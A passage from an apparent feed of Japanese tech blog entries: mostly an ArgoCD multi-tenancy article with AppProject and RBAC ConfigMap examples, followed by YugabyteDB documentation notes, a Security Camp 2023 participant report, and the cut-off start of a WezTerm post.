NetworkPolicyでNamespace間の名前解決を不可能にすれば、他のNamespaceからの通信を遮断できる。 - ➡︎ - 保守性 ArgoCD用Clusterの管理者が単一のClusterを保守すればよい。(例:アップグレード、機能修正など) AppProjectはNamespacedスコープなカスタムリソースのため、ClusterスコープなKubernetesリソースを他のテナントと共有しないといけない。そのため、ClusterスコープなKubernetesリソース (特にCRD) の変更は全てのテナントに影響する。 ➡︎ ArgoCDのアップグレード時 (CRDの変更時) は、ついでにKubernetesもアップグレードしたい。新しいClusterを別に作成し、そこで新ArgoCDを作成すれば一石二鳥である。 性能 - Clusterのハードウェアリソースを他のテナントと奪い合うことになる。 ➡︎ 多くの利用者が同時並行的にArgoCDを操作する状況になりにくければ、奪い合いも起こらない。 信頼性 - ClusterまたはArgoCDで障害が起こると、これは全てのテナントに影響する。 ➡︎ 代わりにNodeやArgoCDを十分に冗長化して可用性を高めれば、影響を緩和できる。ただ、そもそもの影響範囲が大きすぎる\uD83D\uDE2D 05-02. NSモードなArgoCD - ★★NSモードなArgoCDとはNSモードなArgoCDの場合、前述のCLモードとは異なり、各AppProjectテナント間でArgoCDを占有します。例えば、AppProjectテナントとして、プロダクト別のNamespace (foo、bar、baz) とAppProject (foo、bar、baz) を用意します。各AppProjectテナントに、ArgoCDと関連するKubernetesリソース (例:ConfigMap) を配置します。各プロダクトチームは、AppProjectテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesAppProjectCLモードと同様にして、AppProjectに所属するApplicationによるマニフェストのデプロイを制限できます。例えば、以下のような実装になります。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # App Of Appsパターンの場合に使用する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する - namespace: \\"*\\" server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.com# NSモードでは設定が不要である# sourceNamespaces:# - fooApplicationを操作するログインユーザーが、無認可のNamespaceやClusterをデプロイ先に指定できないように、.spec.destinationキーで制限しています。前述のCLモードとは異なり、NSモードなArgoCDは自身が所属するNamespaceのApplicationのみにアクセスできます。そのため、.spec.sourceNamespacesキーでマニフェストのデプロイを制限する必要はありません。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesProjects - Argo CD - Declarative GitOps CD for KubernetesArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)CLモードと同様にして、argocd-cmd-params-cmでは、ArgoCDの各コンポーネントのコンテナの引数を設定できます。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata:# NSモードでは設定が不要である# application.namespaces: \\"*\\"前述の通り、.application.namespacesキーは、argocd-serverとapplication-controllerの--application-namespacesオプションに相当します。前述のCLモードとは異なり、NSモードなArgoCDは自身が所属するNamespaceのApplicationのみにアクセスできますそのため、.application.namespacesキーでNamespaceに関する認可を設定する必要はありませんもちろん、Podのコンテナ引数にも設定は不要です。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetesログインユーザー用ConfigMap (argocd-rbac-cm)CLモードと同様にして、argocd-rbac-cmでは、Applicationを操作するログインユーザーが、無認可のAppProjectやNamespaceに所属するApplicationを操作できないように制限します。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: foodata: # デフォルトのロール # @see https://github.com/argoproj/argo-cd/blob/master/assets/builtin-policy.csv#L9-L16 policy.default: role:readonly policy.csv: | p, role:app, *, *, app/*/*, allow p, role:infra, *, *, infra/*/*, allow g, app-team, role:app g, infra-team, role:infra scopes: \\"[groups]\\"認証済みグループ (app-team、infra-team) に対して、無認可のAppProject (app、infra) に所属するApplicationを操作できないように、認可スコープを制限しています。特にオススメした理由NSモードなArgoCDのAppProjectテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見で 特にオススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 テナントを増やすためにNamespaceとAppProjectを用意するだけでよく、作業量が少ない。 - ➡︎ - 安全性(セキュリティ) NetworkPolicyでNamespace間の名前解決を不可能にすれば、他のNamespaceからの通信を遮断できる。 - ➡︎ - 保守性 単一のClusterを保守すればよい。(例:アップグレード、機能修正など) AppProjectはNamespacedスコープなカスタムリソースのため、ClusterスコープなKubernetesリソースを他のテナントと共有しないといけない。そのため、ClusterスコープなKubernetesリソース (特にCRD) の変更は全てのテナントに影響する。 ➡︎ ArgoCDのアップグレード時 (CRDの変更時) は、ついでにKubernetesもアップグレードしたい。新しいClusterを別に作成し、そこで新ArgoCDを作成すれば一石二鳥である。 性能 - Clusterのハードウェアリソースを他のテナントと奪い合うことになる。 ➡︎ 多くの利用者が同時並行的にArgoCDを操作する状況になりにくければ、奪い合いも起こらない。 信頼性 テナントごとにArgoCDを占有しており、他のArgoCDから障害の影響を受けない。 Clusterで障害が起こると、これは全てのテナントに影響する。 ➡︎ 代わりに、Nodeを十分に冗長化して可用性を高める。いずれかのインスタンスで障害が起こっても、正常なインスタンスでArgoCDが稼働できる。 AppProjectテナント例の一覧NSモードなArgoCDを採用する場合、AppProjectテナント例を解説していきます。前述の通り、AppProjectテナントが二重テナント (第一テナントにNamespace、第二テナントに複数のAppProject) を持つことに留意してください。なお、オススメするものを ★ としています。 テナント例(二重テナント) オススメ Namespace(第一テナント) AppProject(第二テナント) テナント例1 プロダクトの実行環境別 プロダクトの実行環境別 テナント例2 プロダクト別 プロダクトの実行環境別 ★ テナント例3 プロダクト別 プロダクトのサブチーム別 ★★ ▶ Namespaceの分割パターンについて\\"管理チーム別\\" (今回でいうプロダクト別) というNamespaceの分割パターンは、様々な著名な書籍やブログで紹介されています\uD83D\uDC40 https://www.amazon.co.jp/dp/1617293725Kubernetes best practices: Specifying Namespaces in YAML | Google Cloud Blogテナント例1Namespace (プロダクトの実行環境別)、AppProject (プロダクトの実行環境別)プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。この場合に、プロダクトの実行環境別にNamespace (dev、tes) とAppProject (dev、tes) を用意します。オススメしなかった理由テナント例1には、以下のメリデメがあります。独断と偏見でオススメしませんでした。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 - ArgoCDのPod数が多くなり、将来的にNode当たりのPodやIPアドレスの上限数にひっかかりやすい。その時点で、AppProjectテナントの増やせなくなる。 ➡︎ 例えばAWS EKSの場合、Node数を増やしたり、Nodeのスペックを上げる。ただ、お金がかかる\uD83D\uDE2D 安全性(セキュリティ) ログインユーザー用ConfigMap (argocd-rbac-cm) を使用すれば、無認可の実行環境別AppProjectに所属するApplicationを操作できないように制限できる。 - ➡︎ - 保守性 異なる実行環境に関するApplicationが共存しておらず、別のargocd-serverから操作することになるため、実行環境間の選択ミスが起こりにくい。 - ➡︎ - テナント例2 - ★Namespace (プロダクト別)、AppProject (プロダクトの実行環境別)プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo、bar) 、プロダクトの実行環境別にAppProject (dev、tes) を用意します。オススメした理由テナント例2には、以下のメリデメがあります。独断と偏見で オススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 ArgoCDのPod数が多くなり、将来的にNode当たりのPodやIPアドレスの上限数にひっかかりにくい。 - ➡︎ - 安全性(セキュリティ) ログインユーザー用ConfigMap (argocd-rbac-cm) を使用すれば、無認可の実行環境別AppProjectを操作できないように制限できる。 - ➡︎ - 保守性 - 異なる実行環境に関するApplicationが共存しており、同じargocd-server (ダッシュボード) から操作することになるため、実行環境間の選択ミスが起こりやすい。 ➡︎ ダッシュボードにはApplicationのフィルタリング機能があるため、選択ミスを回避できる。 テナント例3 - ★★Namespace (プロダクト別)、AppProject (プロダクトのサブチーム別)プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo、bar) 、プロダクトのサブチーム別にAppProject (app、infra) を用意します。特にオススメした理由テナント例3には、以下のメリデメがあります。独断と偏見で 特にオススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 ArgoCDのPod数が多くなり、将来的にNode当たりのPodやIPアドレスの上限数にひっかかりにくい。 - ➡︎ - 安全性(セキュリティ) ログインユーザー用ConfigMap (argocd-rbac-cm) を使用すれば、無認可のサブチーム別AppProjectに所属するApplicationを操作できないように制限できる。 - ➡︎ - 保守性 - 異なる実行環境に関するApplicationが共存しており、同じargocd-server (ダッシュボード) から操作することになるため、実行環境間の選択ミスが起こりやすい。 ➡︎ ダッシュボードにはApplicationのフィルタリング機能があるため、選択ミスを回避できる。 06. どのような誤った操作を防いでくれるのかそろそろ解説を読むのがしんどい方がいるのではないでしょうか。『君がッ、泣くまで、解説をやめないッ!』AppProjectテナントとNamespacedスコープモードがマニフェストのデプロイをどのように制限するのかについて、例を挙げて解説します。ここでは、以下のAppProjectを作成したと仮定します。AppProjectテナントが二重テナント (第一テナントにNamespace、第二テナントに複数のAppProject) を持つことに留意してください。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: # appチーム name: app namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # Namespace (foo) へのデプロイを許可する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する # Namespace (app) へのデプロイを許可する - namespace: app server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.comapiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: # infraチーム name: infra namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # Namespace (foo) へのデプロイを許可する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する # Namespace (infra) へのデプロイを許可する - namespace: infra server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.comマニフェストのデプロイ制限プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo) 、プロダクトのサブチーム別にAppProject (app、infra) を用意します。AppProjectテナントは、例えば 赤線 の方法で、マニフェストのデプロイを制限します。マニフェストをデプロイできる場合マニフェストを正しくデプロイする場合、AppProjectテナントはこれを制限しません。(1) argocd-serverは、argocd-cmd-params-cmからアクセスできるNamespaceを取得します。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata:# 設定しないことで、argocd-serverは同じNamespaceにしかアクセスできなくなる。# application.namespaces: \\"*\\"(2) fooプロダクトのinfraチームが、argocd-serverを操作します。(3) argocd-serverは、argocd-rbac-cmからApplication操作に関する認可スコープを取得しますapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: foodata: policy.default: role:readonly policy.csv: | p, role:app, *, *, app/*/*, allow p, role:infra, *, *, infra/*/*, allow g, app-team, role:app g, infra-team, role:infra scopes: \\"[groups]\\"(4) infraチームは、認可されたAppProjectに所属するApplicationを操作します。(5) infraチームは、Dev環境のfooプロダクト用ClusterのNamespace (infra) にマニフェストをデプロイできます。(\uD83D\uDEAB制限例1) 無認可のNamespaceでApplicationを作成しようとした場合例えば、fooプロダクトのinfraチームが無認可のNamespace (bar) でApplicationを作成しようとします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。namespace bar is not permitted in project \'infra-team\'無認可のNamespaceでApplicationを作れてしまうと、そのApplicationから無認可のプロダクト用Clusterにマニフェストをデプロイできてしまいます\uD83D\uDE08argo-cd/test/e2e/app_management_ns_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub(\uD83D\uDEAB制限例2) 無認可のAppProjectでApplicationを作成しようとした場合例えば、fooプロダクトのinfraチームが、無認可のAppProject (app) でApplicationを作成しようとします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。Application referencing project \'app\' which does not exist任意のAppProjectでApplicationを作成できてしまうと、そのApplicationから無認可のプロダクト用Clusterにマニフェストをデプロイできてしまいます\uD83D\uDE08(\uD83D\uDEAB制限例3) 無認可のClusterをデプロイ先に指定しようとした場合例えば、fooプロダクトのinfraチームがApplicationを操作し、無認可のプロダクト用Cluster (bar-cluster) をデプロイ先として指定しようします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。application destination{https://bar-cluster.gr7.ap-northeast-1.eks.amazonaws.com infra} is not permitted in project \'infra-team\'任意のClusterをデプロイ先に指定できてしまうと、Applicationから無認可のプロダクト用Clusterにマニフェストをデプロイできてしまいます\uD83D\uDE08argo-cd/util/argo/argo_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub(\uD83D\uDEAB制限例4) 無認可のNamespaceをデプロイ先に指定しようとした場合例えば、fooプロダクトのinfraチームがApplicationを操作し、無認可のNamespace (app) をデプロイ先に指定しようします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。application destination{https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.com app} is not permitted in project \'infra-team\'任意のNamespaceをデプロイ先に指定できてしまうと、そのApplicationから無認可のNamespaceにマニフェストをデプロイできてしまいます\uD83D\uDE08argo-cd/util/argo/argo_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub▶ AppProjectで設定できる認可の種類についてargocd-serverとapplication-controllerでデプロイできるKubernetesリソースの種類 (.spec.clusterResourceWhitelistキー、.spec.namespaceResourceWhitelistキーなど)repo-serverでポーリングできるリポジトリ (.spec.sourceReposキー)apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foospec: clusterResourceWhitelist: - group: \\"*\\" kind: \\"*\\" namespaceResourceWhitelist: - group: \\"*\\" kind: \\"*\\" sourceRepos: - \\"*\\" ...\\"AppProjectテナントによるマニフェストのデプロイ丸ごとの制限\\" という観点でテーマが異なるため、本記事では言及しませんでした\uD83D\uDE47\uD83C\uDFFB‍ Projects - Argo CD - Declarative GitOps CD for KubernetesDeclarative Setup - Argo CD - Declarative GitOps CD for KubernetesカスタムリソースのReconciliation制限プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo) 、プロダクトのサブチーム別にAppProject (app、infra) を用意します。AppProjectテナントは、例えば 赤線 の方法で、ArgoCD系カスタムリソースに対するapplication-controllerのReconciliationを制限します。ArgoCD系カスタムリソースをReconciliationできる場合正しいNamespaceに対してReconciliationを実行する場合、AppProjectテナントはこれを制限しません。(1) application-controllerは、argocd-cmd-params-cmから自身がアクセスできるNamespaceを取得します。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata:# 設定しないことで、application-controllerは同じNamespaceにしかアクセスできなくなる。# application.namespaces: \\"*\\"(2) application-controllerは、同じNamespaceに所属するArgoCD系カスタムリソースに対して、Reconciliationを実行します。(\uD83D\uDEAB制限例1) 無認可のNamespaceにReconciliationを実行しようとした場合例えば、application-controllerがReconciliationの対象とするNamespaceを選ぼうとしているとします。すると、application-controllerは内部で検証メソッドを実行し、無認可のNamespace (bar) は選ばないようにします。argo-cd/controller/appcontroller_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub07. おわりにKubernetesのマルチテナントパターンとArgoCDでのパターン実践をもりもり布教しました。あらゆる面からマニフェストのデプロイを制限してくれる、AppProjectテナントの素晴らしさが伝わりましたでしょうか。KubernetesのマルチテナントパターンをArgoCDでどう実践するべきか、について困っている方の助けになれば幸いです\uD83D\uDC4D謝辞本記事のタイトルは、私が崇拝しているドメイン駆動設計の書籍 \\"実践ドメイン駆動設計\\" から拝借しました\uD83D\uDE4Fまた、ArgoCDでのパターン実践の収集にあたり、以下の方からの意見も参考にさせていただきました。@toversus26 さんこの場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍GitOps Cookbook: Kubernetes Automation in Practice (English Edition)作者:Vinto, Natale,Bueno, Alex SotoO\'Reilly MediaAmazonGitOps and Kubernetes: Continuous Deployment with Argo CD, Jenkins X, and Flux作者:Yuen, Billy,Matyushentsev, Alexander,Ekenstam, Todd,Suen, JesseManning PublicationsAmazon","isoDate":"2023-08-18T02:06:46.000Z","dateMiliSeconds":1692324406000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"YugabyteDBのドキュメントを全部読む Day5","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/5_core_functions_universe_creation","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Key Concepts > YB-Master serviceを読みました。今回はArchitecture > Core functions > Universe creationを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Universe creationYugabyteDBのユニバース作成は複数のステップを含む。Start YB-MastersYBユニバース作成の最初のステップはレプリケーションファクターで指定された数だけYB-Masterを作成することである。作成されたYB-Masterはそれぞれを認識している。YB-Masterはユニバース内でユニークなID(UUID)をそれぞれに割り当て、それぞれを認識しあったあとにリーダーエレクションを実行する。このステップの終りにYB-Masterの中のひとつがリーダーとして確立される。Start YB-TServersノードの数だけYB-TServerを起動し、それぞれにマスターのアドレスを渡す。それぞれのYB-TServerはマスターにハートビートを送信し、正常に動作していることを確認する。ハートビートはYB-TServerが現在ホストしているタブレットとその負荷情報についても通信するが、この時点ではタブレットにデータは登録されていない。Examples4ノードからなるYBユニバースにテーブルを作成する場合について考える。テーブルのレプリケーションファクターは3とする。3つのマスターがcreateモードで起動される。これはマスターがすでに起動しているために発生するエラーを防ぐために明示的に実行される。リーダーエレクションを実行し、リーダーを選出する。YB-TServerが起動し、全てのYB-TServerがマスターにハートビートを送信する。","isoDate":"2023-08-16T13:49:19.000Z","dateMiliSeconds":1692193759000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"セキュリティ・キャンプ 2023 参加記","link":"https://moz-security.hatenablog.com/entry/2023/08/15/015853","contentSnippet":"8月7日から8月11日まで開催されたセキュリティ・キャンプの Bクラス(Webセキュリティ)に参加してきたので、やってきたことや感想について、体験記として書き残そうと思う。セキュリティ・キャンプについては、以下のホームページを参照してほしい。今年が20回目の開催で、4年ぶりに対面で行われた。www.ipa.go.jp応募課題まず、セキュリティ・キャンプに参加するには、応募課題を解かなければならない。これに関しては、また別のブログとして、私の答案については出そうと思うが、今までのプログラミング言語やコンテナ技術の利用経験を問われたり、Webにおける脆弱性の検証と調査、Webの標準や実装の調査を行なって、それをレポートとしてまとめ、提出した.応募課題は、下記のURLにある。セキュリティ・キャンプ全国大会2023 応募要項(エントリー) | デジタル人材の育成 | IPA 独立行政法人 情報処理推進機構共通講義共通講義では、行動経済学やXR、国際政治とセキュリティといったものやサイバー犯罪についての講義があった。これらについてはあまり書かないが、日頃勉強している技術的なもの以外の部分について学ぶことができるいい機会であり、新鮮であった。サイバーセキュリティという分野は、法律・犯罪と密接に関連してくるにも関わらず、グレー部分の範囲がとても広くて、どこまでが許されて、どこからがダメなのかという判断が難しい。そのため、ワークショップの形で弁護士や検事の方の考えを知ることができたのはよかった。講義の中でも仰っていたが、私はあくまで技術者であり、法律家ではない。だからこそ、”わかった気にならない”という点は気をつけようと思った。専門講義専門講義では、各クラスによって講義が変わってくる。Bクラスでは、Webセキュリティをテーマにして、講義が構成されている。基本的には4時間の講義で、どれも座学と演習が 1:1 くらいの割合になっており、手を動かしたり、ツールの動きを確認しながらだったため、概念だけでなく、実装も学べたし、何よりも楽しかった。講師の方が一般に公開している資料については一緒に貼っている。1日目B-1 Webプロダクトセキュリティへの誘い最初の講義は、初日の18:30~20:30に行われた。この講義では、プロデューサーがどのような意図を持って講義を構成したか、何を学んでほしいのかというところを整理した。このクラスでは、\\"将来と今の両方を考えて、意思決定ができるリーダーになること\\" を目標としており、その時点でいろいろ考えさせられた.私の感覚では、すごいセキュリティエンジニアというのは、技術のことをたくさん知っていることだったからである.でも、実際に社会に出ると、技術とは違ったベクトルの強さというものが必要だとわかった.これに関しては、 この時点でも納得はしていたが、B-5やB-7の講義を受けた後により強く実感した.技術的な強さだけであれば、5日間ひたすらWebアプリケーションの脆弱性を勉強して、探せばいいが、そのような構成にはなっていない.\\"How と Why を考えながら受講すること\\"というのは念を押されたが、これに関しては、非常に大切なことであり、日頃から意識する必要があると感じた。また、B-2からB-7の講義に関して、自分がどこまでわかっていて、どのようなことを学べそうか、何を習得することを目標にするかというのを考えて、グループワークでお互いに共有した.1つ例を挙げると、B-2の講義に関して、サイバーキルチェーンやActive Directoryはわかるが CI/CDパイプライン を狙った攻撃とはなんなのか、加えて攻撃者はどういう視点とか考えで攻撃を計画するのかというのはわからないから学びたいというのがあった.2日目B-2 開発のプロセスを攻撃者の視点で捉えるこの講義は、2日目の8:30~12:30に行われた.この講義では、なぜ攻撃をするのかというところから始まり、レッドチーム演習の効果やサイバーキルチェーンと攻撃フローについて座学で学んだ.また、仮想環境で攻撃演習を行うことで、実際に攻撃フローを見ることができた.演習で自分で攻撃してみることで、攻撃者の視点というものをより実感することができた.最終的には、防御側ができることを考えたが、攻撃者の視点を持つことで、より深く考えることができた.レッドチーム演習の情報はWebで調べてもあまり出てこないため、その界隈の第一人者の方から、生の声を聞けたのはよかったし、貴重な経験になった.最近、Hack The Boxに取り組めていなかったが,講義を受講して、モチベーションが上がり、また再開した.この講義では、CI/CD環境のセキュリティについても学んだ.オンプレミスからクラウドへと環境の変化はあるが、\\"攻撃方法は変わったとしても、攻撃の流れは変わらない\\"というのが大事な点であった.例えば、攻撃モデルの一つにサイバーキルチェーンがあるが、この考え方はオンプレでもクラウドでも関係なく、有効である.今までCI/CDを狙った攻撃というのは全く想像もつかなかったが Github Actions などの CI/CD Configuration から Credential が漏洩したり、3rd party tool を汚染することで莫大な被害につながるといった CI/CD Pipeline への攻撃もなんとなく理解できた.B-3 クラウドネイティブセキュリティの実践と戦略この講義は、2日目の13:30~17:30に行われた.この講義では、そもそもクラウドネイティブとはなんなのかの説明を受けたのちに、Kubernetesが提供する耐障害性の機能やマイクロサービスのセキュリティについて学んだ.k8sを実際に動かして、アプリケーションのスケーリングの様子などを確認しながら進めることができたのはとてもよかった.また、コンテナから権限掌握→AWSアカウントの侵害という演習を通して、クラウドネイティブ環境を構築・運用するにあたって、どのようなことに気をつけなければならないかといったことを学んだ.k8sのセキュリティモニタリングに関して、eBPFの紹介も少しあった.事前課題や講義を通して、最低限 k8s が動かせるようになったり、提供している一部の仕組みについてはわかったりしたが、まだまだ知らない機能はたくさんあるし、現在進行形で新たな技術が生まれている分野である.たしかにクラウドネイティブ環境の構築・運用は難しいのかもしれないが、技術の面白さというのはとても感じたし、もっともっと学んでいきたいと思った.3日目B-4 Webサービスにおける安全な認証とID連携の実装この講義は、2日目の14:00~18:00に行われた.この講義では、最初に認証・認可の技術であるFIDO, WebAuthn, Passkey, OAuth, OpenID Connect についての用語とそれぞれの用語の関係に関して説明を受けた.各用語は知っているが、説明できるほどの理解はできていなかったため、整理して学ぶことができ、理解できた.また、認証・認可はWebアプリにおいて最もクリティカルな箇所であり,セキュリティも十分に配慮しなければならない.CSRFの発生メカニズムを押さえ、どうすれば防ぐことができOpenID Connectではどのような処理フローになっているのかを学ぶことで、安全な認証・認可を実現する仕組みについて理解できた.その後、パスキーのハンズオンとOpen ID Connectのハンズオンを行なった.ハンズオンでは、プログラムの穴あき部分を埋めることで、ちゃんと機能が実装できているか確認しながらステップアップ形式で進めた.ID連携やパスキーの実装となると、難しいイメージだったが、すでにあるライブラリを使うことで、簡単に実装することができた.一度学んだとしても、使わなければ忘れてしまうため、Webアプリケーションを開発するときに、今回学んだ技術を組み込むことで、さらなる理解と自分で使える技術にしたいと思う.B-5 適応し続けるプロダクトセキュリティ speakerdeck.com\xa0この講義は,3日目の19:00~20:40に行われた.この講義では,組織やプロダクトの変化に対して,セキュリティをどう確保するのか考える技術者というよりは,CISOといったセキュリティにおいてリーダーシップを発揮し,変化に対応する組織を作るにはどうすればいいのかといったことを学んだ.プロデューサーの\\"将来と今の両方を考えて,意思決定ができるリーダーになること\\"という思いが最も顕著に出ている講義であった.昨今の世の中は,プロダクトも組織もどんどん変化する時代であり,その変化に応じて,セキュリティのあり方も変わってくる.セキュリティの難しさはどこか一つでも弱い部分があってはいけないというところである.サービスを提供する場合,何か一つ強みがあれば,それで大ヒットするかもしれないが,セキュリティは全てが一定水準にならなければならない.プロダクト運営に求められるセキュリティは幅広いが,バランスよく,少しずつ積み重ねていくことが大事だとわかった.個人的には,セキュリティ人材が置かれる現実と求められることというところが面白く,より優れたセキュリティ人材,セキュリティ分野でリーダーシップを発揮して組織を変えるには,人間としての成長が不可欠だとわかった.\\"深化と探索のバランスとそれらの継続\\" が重要になってくると学んだ.将来は,セキュリティ関連の仕事をしたいとは思っていたが,CISOのようなリーダーシップを発揮して組織を変えていくということは考えたことがなかった.セキュリティ人材として成長するために,人間的な成長が必要になるというのは面白かった.4日目B-6 ソースコード解析によるWebアプリケーションの脆弱性調査この講義は,4日目の8:30~12:30に行われた.この講義では,ソースコードから脆弱性を探す方法について学んだ.最初に,静的解析で見つけやすい脆弱性の説明を受け,演習として,まずは,脆弱性を手動で探した.CVEが3つ取り上げられており,それらの脆弱性をNVDやそこに載っているGithubのPatchのプログラムやPoCを見て,調査した.プログラムベースで実際にどのような入力値であれば,脆弱性が悪用できるのかを探すのがこの調査のゴールであった.しかし,複雑なWebアプリケーションになると,大量の関数呼び出しによって,コードを追うのが大変になる.そこで,脆弱性調査の自動化のためのツールとして,CodeQLの説明があり,その後の演習で実際に使って,調査を行った.CodeQLを使うことで,特定の関数呼び出しや変数宣言,構文パターンを抽出することができ,脆弱性となりうるコードが含まれていないか簡単に調査できることがわかった.プログラムを書くことはあっても,解析して脆弱性を探し出すといったことはやったことがなかったため,新たな知見が得られたのはよかったし,楽しかった.自分で書いたコードに対して,脆弱性を探し,修正するといったことやバグバウンティに取り組むといったことも今後していきたいと思った.B-7 Policy as Code 入門docs.google.comこの講義は,4日目の13:30~17:30に行われた.この講義では,ポリシーをコードとして書くことで,k8sの設定ファイルやクラウドサービスのリソース状態の監視結果に対して制約を満たすかどうかチェックすることができるといったことを学んだ.この講義に関しても,B-5と同じで,一見セキュリティと関係ないため,今まで勉強してきたことがなかったが,クラウドサービスのリソースにポリシーを定義して不要なポートが開いてないかやクレデンシャルが書き込まれていないかなどのチェックはセキュリティ向上のためにも有効である.一部の先進的な組織しかPolicy as Codeを実践できていないという部分で,まだまだ新しい技術ではあるが,この講義を通して,こういうものがあるということを知れたのはよかった.演習では,3以降のよりリアルなポリシーになった途端に難しく,書くのに苦戦した.いつ使うことになるかわからないが,このようなものがあるというのを覚えておいて,いざという時に使えるようにしたいと思う.講義全体を通してB-1からB-7まで非常に幅広い分野の講義があり,それに加え,どの講義も4時間で終わり切らない程濃密なものであったため,まだ整理ができていない部分も多々ある.本当に知識をひたすら叩き込まれた感じであるため,また時間を取って整理して,理解したいと思う.4日間講義があり,ホームルームの時には思考停止するほどの疲れがあったが,講義内容の濃さと演習の楽しさでものすごい充実感はあった.あと,講義のレベルも高く,わからない箇所があったりもしたが,講師の方やチューターの方に質問するとなんでも教えてくださったため,問題なく演習を進めたり,疑問点を残すことなく学ぶことができた.対面での開催について今年は,4年ぶりの現地開催ということだったが,本当に楽しかった.5日間だけで,たくさんの人に出会ったし,たくさん話した.基本的にクラスで講義を受けるため,クラスの人とはずっと一緒にいることになり,仲良くなるが,だからこそ,食事のときや名刺交換会というのは違うクラスの子とも知り合ういい機会だった.ジュニアで参加している中学生とかから同世代の受講生やチューター,実際に社会で活躍している講師の方たちまで異なる立場や年齢の人たちと話すことができたのはよかった.X(Twitter)の中でよく見るすごい人たちと面と向かって話したり,議論できたりするのは楽しかったし,とても刺激を受けた.授業はもちろん素晴らしいのだが,同世代で自分よりもすごい人たちと出会い,それによってモチベーションが爆増するというのが個人的にはセキュリティ・キャンプに参加する一番のよさだと思う.学内という狭い世界で自分はそれなりにできると思っていても,全国から人が集まってくるセキュリティ・キャンプでは上には上がたくさんいるというのをすごい体感したし,もっと頑張ろうと思った.参加した感想今年22歳になるため,今年が最後のチャンスだったが,本当に参加することができて良かった.キャンプ参加が決まった後も,講義に対してワクワクしながらも,一方で講義についていけるのか,私みたいな人が行って大丈夫なのか,他の人たちはやっぱりつよつよなのかという不安はあったが,そんな不安は初日で解消した.たしかに,みんなすごい人たちだったが,コミュニケーションを取る上では,ITに興味があるというその一点だけで仲良くなることができたし,講義でわからないことがあったとしても,他の受講生やチューター,講師の方に聞いたらちゃんと教えてくださった.セキュリティに興味があるのなら,少しでも早いうちから応募課題に挑戦するべきだと思うし,そこで得られるものはたくさんある.たとえ,課題で落ちてしまったとしても,課題を解くことに意味があり,それだけでも知らないことをたくさん学ぶことができる.セキュリティ・キャンプ 2023 に参加したからこそ,心の底から参加することを勧めたい.来年は,チューターかネクストキャンプ受講生としてまた戻って来たいと思う.まとめ・どの講義も濃密で、わからない部分もあったが、チューターや講師の方のサポートもあり、なんとかついていくことができた.・やっぱり対面での開催はいい.・全国のすごい人たちを間近に見ることができ、刺激がもらえる.・セキュリティに興味がある人はもちろん、ITに興味がある人全員にセキュリティ・キャンプを進めたい.","isoDate":"2023-08-14T16:58:53.000Z","dateMiliSeconds":1692032333000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"WezTerm で快適な WSL2 環境にする","link":"https://blog.1q77.com/2023/08/wezterm-on-windows/","contentSnippet":"家の自分用 Laptop はずっと Linux を使ってきましたが、数か月前に Inspiron 14 に買い替えたタイミングで Ubuntu 22.04 